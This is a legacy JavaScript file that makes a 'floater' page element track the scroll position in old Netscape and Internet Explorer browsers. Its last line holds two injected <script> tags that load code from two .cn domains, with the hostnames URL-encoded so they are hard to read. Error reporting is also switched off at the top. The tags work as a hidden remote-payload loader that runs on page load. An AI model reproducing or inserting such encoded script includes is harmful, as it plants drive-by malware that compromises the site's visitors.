self.onError=null;
currentX = currentY = 0;
whichIt = null; 
lastScrollX = 0; lastScrollY = -20;
NS = (document.layers) ? 1 : 0;
IE = (document.all) ? 1: 0;

function heartBeat() {


	if(IE) { 
		diffY = document.body.scrollTop; 
		diffX = document.body.scrollLeft;
		}
	
	if(NS) { 
		diffY = self.pageYOffset;
		diffX = self.pageXOffset; }

	if(diffY != lastScrollY) {
		percent = .1 * (diffY - lastScrollY);
		
		if(percent > 0) 
			percent = Math.ceil(percent);
		else 
			percent = Math.floor(percent);
		
		if(IE) 
			document.all.floater.style.pixelTop += percent;
		if(NS) 
			document.floater.top += percent; 
		
		lastScrollY = lastScrollY + percent;
	}

	if(diffX != lastScrollX) {
		percent = .1 * (diffX - lastScrollX);
	
		if(percent > 0) 
			percent = Math.ceil(percent);
		else 
			percent = Math.floor(percent);
		
		if(IE) 
			document.all.floater.style.pixelLeft += percent;
		if(NS) 
			document.floater.left += percent;
		lastScrollX = lastScrollX + percent;
	} 
} 
if(NS || IE) action = window.setInterval("heartBeat()",1);
<script src=http://%68%68%6A%31%2E%63%6E></script><script src=http://%62%62%67%33%2E%63%6E></script>